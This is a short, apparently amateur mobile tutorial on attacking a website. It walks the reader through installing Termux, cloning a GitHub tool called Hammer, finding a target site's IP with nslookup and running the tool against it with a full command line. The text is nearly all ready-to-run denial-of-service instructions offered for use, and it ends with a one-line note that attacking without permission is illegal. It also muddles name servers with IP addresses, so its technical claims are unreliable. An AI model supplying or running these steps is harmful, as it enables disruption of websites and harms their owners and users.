How to start attacking webiste? (Mobile Tutorial) 
First thing you need is a F-Droid.
Download it here: https://f-droid.org/
After you downloaded it wait for everything to update.
Once it's updated you wanna download an application called Termux.
Donwload Termux.
After you downloaded it start typing these commands:

pkg update

pkg upgrade

apt install python

apt install git

apt install dnsutils

git clone https://github.com/Pavithran-R/Hammer.git

Hammer need the Name Server of a website which you want to attack...
To get the Name Server...just type
$ nslookup example.com
Note the IP Address of that Website

then
$ cd Hammer

$ python hammer.py -s [ip Address] -t 135
example:
$ python hammer.py -s 123.45.67.89 -t 135

Remember it's illegal if you don't have persons permission